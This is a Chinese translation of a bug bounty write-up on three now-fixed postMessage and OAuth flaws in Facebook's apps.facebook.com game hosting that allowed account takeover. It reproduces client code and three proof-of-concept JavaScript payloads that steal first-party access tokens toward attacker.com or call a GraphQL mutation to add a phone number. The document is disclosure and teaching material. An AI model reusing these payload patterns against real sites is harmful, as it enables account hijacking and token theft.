实战 | 价值126,000 美元的漏洞导致Facebook帐户接管的故事

admin 2022年2月7日14:38:34评论66 views字数 10432阅读34分46秒阅读模式

简述

Facebook 多年来一直允许在线游戏所有者在 apps.facebook.com 中托管他们的游戏/应用程序。其背后的想法和技术是游戏(基于 Flash 或 HTML5)将托管在所有者网站中,然后托管它的网站页面应在受控 iframe 内的 apps.facebook.com 中显示给 Facebook 用户。由于游戏并非托管在 Facebook 中,为了获得最佳用户体验(例如记录分数和个人资料数据),Facebook 必须与游戏所有者建立沟通渠道,以验证 Facebook 用户的身份。这是通过在 app.facebook.com 和 iframe 内的游戏网站之间使用跨窗口通信/消息传递来确保的。在这篇博文中,我将讨论我在这个实现中发现的多个漏洞。

潜在漏洞

这些错误是在对负责验证通过此通道的内容的 apps.facebook.com 中的客户端代码进行仔细审核后发现的。如果用户决定访问我在 apps.facebook.com 中的游戏页面,下面解释的错误(和其他错误)允许我接管任何 Facebook 帐户。这些漏洞的严重性很高,因为这些漏洞存在多年,数十亿用户,他们的信息很容易被泄露,因为这是从 Facebook 内部提供的。Facebook 确认他们没有看到任何先前滥用或利用这些漏洞的迹象。

对于研究人员

在解释下面的实际错误之前,我试图展示我分解代码的方式以及跟踪消息数据流的简化路径以及如何使用它的组件。我可能没有留下太多可挖掘的内容,但我希望分享的信息可以帮助您进行研究。如果您只对错误本身感兴趣,请跳转到每个错误部分。

描述

到目前为止,我们知道在 apps.facebook.com 的 iframe 中提供的游戏页面正在与父窗口通信,以要求 Facebook 执行一些操作。例如,在请求的操作中,向用户显示一个对话框,允许他确认游戏开发人员拥有的 Facebook 应用程序的使用情况,这将帮助我识别您并从他们的访问令牌中获取一些信息。'如果用户决定使用该应用程序,将收到。负责接收跨窗口消息、解释它们并理解所需操作的脚本如下(仅显示了必要的部分,并且与修复错误之前一样):

__d("XdArbiter", ...
            handleMessage: function(a, b, e) {
                d("Log").debug("XdArbiter at " + (window.name != null && window.name !== "" ? window.name : window == top ? "top" : "[no name]") + " handleMessage " + JSON.stringify(a));
                if (typeof a === "string" && /^FB_RPC:/.test(a)) {
                    k.enqueue([a.substring(7), {
                        origin: b,
                        source: e || i[h]
                    }]);
           ...
            send: function(a, b, e) {
                var f = e in i ? e : h;
                a = typeof a === "string" ? a : c("QueryString").encode(a);
                b = b;
                try {
                    d("SecurePostMessage").sendMessageToSpecificOrigin(b, a, e)
                } catch (a) {
                    d("Log").error("XdArbiter: Proxy for %s not available, page might have been navigated: %s", f, a.message), delete i[f]
                }
                return !0
            }
...

    window.addEventListener("message", function(a) {
        if (a.data.xdArbiterSyn) d("SecurePostMessage").sendMessageAllowAnyOrigin_UNSAFE(a.source, {
            xdArbiterAck: !0
        });
        else if (a.data.xdArbiterRegister) {
            var b = l.register(a.source, a.data.xdProxyName, a.data.origin, a.origin);
            d("SecurePostMessage").sendMessageAllowAnyOrigin_UNSAFE(a.source, {
                xdArbiterRegisterAck: b
            })
        } else a.data.xdArbiterHandleMessage && l.handleMessage(a.data.message, a.data.origin, a.source)
}), 98);

__d("JSONRPC", ...
        c.read = function(a, c) {
            ...
            e = this.local[a.method];
            try {
                e = e.apply(c || null, a.params);
                typeof e !== "undefined" && g("result", e)
            ...
    e.exports = a
}), null);

__d("PlatformAppController", ...
function f(a, b, e) { ...
         c("PlatformDialogClient").async(f, a, function(d) { ... b(d) });
}...
t.local.showDialog = f;

...

t = new(c("JSONRPC"))(function(a, b) {
            var d = b.origin || k;
            b = b.source;
            if (b == null) {
                var e = c("ge")(j);
                b = e.contentWindow
            }
            c("XdArbiter").send("FB_RPC:" + a, b, d)
        }
...

}), null);

__d("PlatformDialogClient", ...
function async(a, b, e) {
        var f = c("guid")(),
            g = b.state;
        b.state = f;
        b.redirect_uri = new(c("URI"))("/dialog/return/arbiter").setSubdomain("www").setFragment(c("QueryString").encode({
            origin: b.redirect_uri
        })).getQualifiedURI().toString();
        b.display = "async";
        j[f] = {
            callback: e || function() {},
            state: g
        };
        e = "POST";
        d("AsyncDialog").send(new(c("AsyncRequest"))(this.getURI(a, b)).setMethod(e).setReadOnly(!0).setAbortHandler(k(f)).setErrorHandler(l(f)))
    }
...
function getURI(a, b) {
        if (b.version) {
            var d = new(c("URI"))("/" + b.version + "/dialog/" + a);
            delete b.version;
            return d.addQueryData(b)
        }
        return c("PlatformVersioning").versionAwareURI(new(c("URI"))("/dialog/" + a).addQueryData(b))
    }

}), 98);

为了简化代码以便您理解流程,以防有人决定深入研究并寻找更多错误:

iframe 向父级发送消息=>在 XdArbiter 中调度的消息事件=> 消息处理函数将数据传递给 handleMessage 函数=> “enqueue”函数传递给 JSONRPC => JSONRPC.read 调用 this.local。PlatformAppController =>函数中的 showDialog 函数检查消息,如果全部有效,则调用 PlatformDialogClient => PlatformDialogClient.async 向 apps.facebook.com/dialog/oauth 发送 POST 请求,返回的 access_token 将被传递给 XdArbiter.send 函数(几个步骤是跳过)=> XdArbiter.send 将向 iframe 窗口发送跨窗口消息=>在包含 Facebook 用户 access_token 的 iframe 窗口中调度的事件

下面是一个简单的代码示例,用于构造从 iframe 发送到 apps.facebook.com 的消息,类似的代码可以使用 Facebook Javascript SDK 从任何游戏页面发送,但包含更多不必要的部分:

msg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","redirect_uri":"https://ysamm.com/callback","app_id":"APP_ID","client_id":"APP_ID","response_type":"token"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + msg , origin: IFRAME_ORIGIN}
window.parent.postMessage(fullmsg,"*");

感兴趣的部分是:

IFRAME_ORIGIN,它是在 redirect_uri 参数中使用的部分,它与 POST 请求一起发送到 apps.facebook.com/dialog/oauth 以在服务器端验证它是请求的应用程序拥有的域一个 access_token,然后将用作 postMessage 中的 targetOrigin 以使用 access_token 向 iframe 发送跨窗口消息params内对象的键和值,还有要附加到 apps.facebook.com/dialog/oauth 的参数. 最有趣的是 redirect_uri(在某些情况下可以替换 POST 请求中的 IFRAME_ORIGIN)和 APP_ID

攻击媒介/场景

我们将在这里做的是尝试而不是为我们拥有的游戏应用程序请求访问令牌,我们将尝试获取 Facebook 第一方应用程序之一,例如 Instagram。阻碍我们的是虽然我们控制了 IFRAME_ORIGIN 和 APP_ID,我们可以将其设置为与 Instagram 应用程序匹配的 www.instagram.com 和 124024574287414,稍后发送到包含第一方访问令牌的 iframe 的消息将在 postMessage 中具有 targetOrigin 作为 www.instagram.com 这不是我们的窗口来源. Facebook 在防止这些攻击方面做得很好(我会争论为什么不使用收到的事件消息的来源并将 app_id 与托管游戏匹配,而不是给我们完全的自由,这可以防止所有这些错误),但显然他们留下了一些本可以被利用多年的弱点。

漏洞 1:参数污染,已在服务器端检查,我们绝对应该信任它

发生此错误的原因是, 从 iframe 接收到的消息构造时对https://apps.facebook.com/dialog/oauth的 POST 请求可能包含用户控制的参数。在客户端检查所有参数( PlatformAppController、showDialog 方法和 ,PlatformDialogClient.async 方法),并且重复参数将在 PlatformAppController 中删除,AsyncRequest 模块似乎也在进行一些过滤(删除已经存在但括号附加到的参数它 )。

但是,由于服务器端缺少一些检查,设置为 PARAM[random 的参数名称将替换先前设置的参数 PARAM;例如 redirect_uri[0 参数值将替换 redirect_uri。我们可以这样滥用:

1). 将 APP_ID 设置为 Instagram 应用程序 ID。

2)redirect_uri 将在 PlatformDialogClient.async (第 72 行)中使用 IFRAME_ORIGIN 构建(将结束https://www.facebook.com/dialog/return/arbiter#origin=https://attacker.com),这将发送匹配我们的 iframe 窗口原点,但根本不会被使用,如下所述。

3)将参数中的 redirect_uri[0 设置为附加参数(顺序很重要,因此必须在 redirect_uri 之后)为https://www.instagram.com/accounts/signup/ 这是 Instagram 应用程序的有效 redirect_uri。

POST 请求的 URL 最终是这样的:

https://apps.facebook.com/dialog/oauth?state=f36be3f648ddfb&display=async&redirect_uri=https://www.facebook.com/dialog/return/arbiter#origin=https://attacker.com&app_id=124024574287414&client_id=124024574287414&response_type=token&redirect_uri[0=https://www.instagram.com/accounts/signup/

请求最终会成功并返回第一方访问令牌,因为 redirect_uri[0 替换了 redirect_uri 并且它是有效的 redirect_uri。

但是在客户端,逻辑是如果接收到 access_token,则意味着用于构造 redirect_uri 的源确实与 app_id 一起使用,因此它应该信任它并用于将消息发送到 iframe,尽管在幕后使用了 redirect_uri[0 而不是 redirect_uri

POC概念证明:

xmsg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","redirect_uri":"https://attacker.com/callback","app_id":"124024574287414","client_id":"124024574287414","response_type":"token","redirect_uri[0":"https://www.instagram.com/accounts/signup/"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + xmsg , origin: "https://attacker.com"}
window.parent.postMessage(fullmsg,"*");

漏洞 2:为什么要麻烦,Origin 未定义

这个问题的主要问题是 /dialog/oauth 端点将接受 https://www.facebook.com/dialog/return/arbiter 作为第三方应用程序的有效 redirect_uri (在片段部分没有有效来源)和一些第一方的。

第二个问题是发生这种行为(片段部分没有来源),从 iframe 发送到 apps.facebook.com 的消息 不应包含 a.data.origin (IFRAME_ORIGIN 未定义),但是相同的值将是稍后用于向 iframe 发送跨窗口消息,如果使用 null 或 undefined,则不会收到该消息。可能,我注意到 JSONRPC函数将始终收到非空的 postMessage 来源(第 55 行)。由于 b.origin 未定义或为空,因此将选择 k 。攻击者可以通过首先通过 c(“Arbiter”).subscribe(“XdArbiter/register”)注册一个有效的来源来设置 k ,如果我们的消息具有 xdArbiterRegister 和指定的来源,则可以通知该来源。在设置“ k ”变量之前,将首先使用“ /platform/app_owned_url_check/ ”端点检查提供的来源是否属于攻击者应用程序。这是错误的,第二个问题发生在这里,因为我们无法确保从 iframe 发送的下一个跨源消息中的用户将提供相同的APP_ID。

不过,并非所有第一方应用程序都容易受到此攻击。我使用 Facebook Watch for Android 应用程序或 Portal 来获取第一方 access_token。

POST 请求的 URL 是这样的:

https://apps.facebook.com/dialog/oauth?state=f36be3f648ddfb&display=async&redirect_uri=https://www.facebook.com/dialog/return/arbiter&app_id=1348564698517390&client_id=1348564698517390&response_type=token

POC概念证明:

window.parent.postMessage({xdArbiterRegister:true,origin:"https://attacker.com"},"*")

xmsg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","app_id":"1348564698517390","client_id":"1348564698517390","response_type":"token"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + xmsg}
window.parent.postMessage(fullmsg,"*");

漏洞 3:Total Chaos,版本不会有害

这个错误出现在 PlatformDialogClient.getURI 函数中,该函数负责在 /dialog/oauth 端点之前设置 API 版本。该函数不检查双点或添加的路径,而是直接构造了一个 URI 对象,稍后用于发送 XHR 请求(第 86 行)。在发送到 apps.facebook.com 的跨窗口消息中传递的 params 中的版本属性 可以设置为 api/graphql/?doc_id=DOC_ID&variables=VAR#并最终导致使用有效用户 CSRF 发送到 GraphQL 端点的 POST 请求令牌。

DOC_ID 和 VAR 可以设置为 GraphQL Mutation 的 id,以将电话号码添加到 attacount,以及此突变的变量。

POST 请求的 URL 是这样的:

https://apps.facebook.com/api/graphql?doc_id=DOC_ID&variables=VAR&?/dialog/oauth&state=f36be3f648ddfb&display=async&redirect_uri=https://www.facebook.com/dialog/return/arbiter#origin=attacker&app_id=1348564698517390&client_id=1348564698517390&response_type=token

POC概念证明:

xmsg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","client_id":"APP_ID","response_type":"token","version":"api/graphql?doc_id=DOC_ID&variables=VAR&"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + xmsg , origin: "https://attacker.com"}
window.parent.postMessage(fullmsg,"*");

漏洞报送时间线

漏洞提交在HackerOne,有兴趣的可以上去看看

2021 年 8 月 4 日—报告已发送  2021 年

8 月 4 日—Facebook 承认 2021 年

8 月 6 日—Facebook 修复

2021 年 9 月 2 日—Facebook 奖励 42000 美元。

2021 年 8 月 9 日— 报告   已于 2021 年

8 月 9 日发送— Facebook 承认 2021 年 8

月 12 日— Facebook 修复

2021 年 8 月 31 日 — Facebook 奖励 42000 美元。

2021 年 8 月 12 日—报告   已于 2021 年

8 月 13 日发送—Facebook 承认 2021 年

8 月 17 日—Facebook 修复

2021 年 9 月 2 日—Facebook 奖励 42000 美元。

实战 | 价值126,000 美元的漏洞导致Facebook帐户接管的故事


推荐阅读


漏洞挖掘 | 通用型漏洞挖掘思路技巧


挖掘SRC逻辑漏洞技巧和经验干货 


点赞,转发,在看


文章来源:https://ysamm.com/?p=708

由 HACK 学习翻译,如需转载请注明HACK学习和原文出处

实战 | 价值126,000 美元的漏洞导致Facebook帐户接管的故事

原文始发于微信公众号(HACK学习呀):实战 | 价值126,000 美元的漏洞导致Facebook帐户接管的故事

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月7日14:38:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战 | 价值126,000 美元的漏洞导致Facebook帐户接管的故事http://cn-sec.com/archives/767378.html

发表评论

匿名网友 填写信息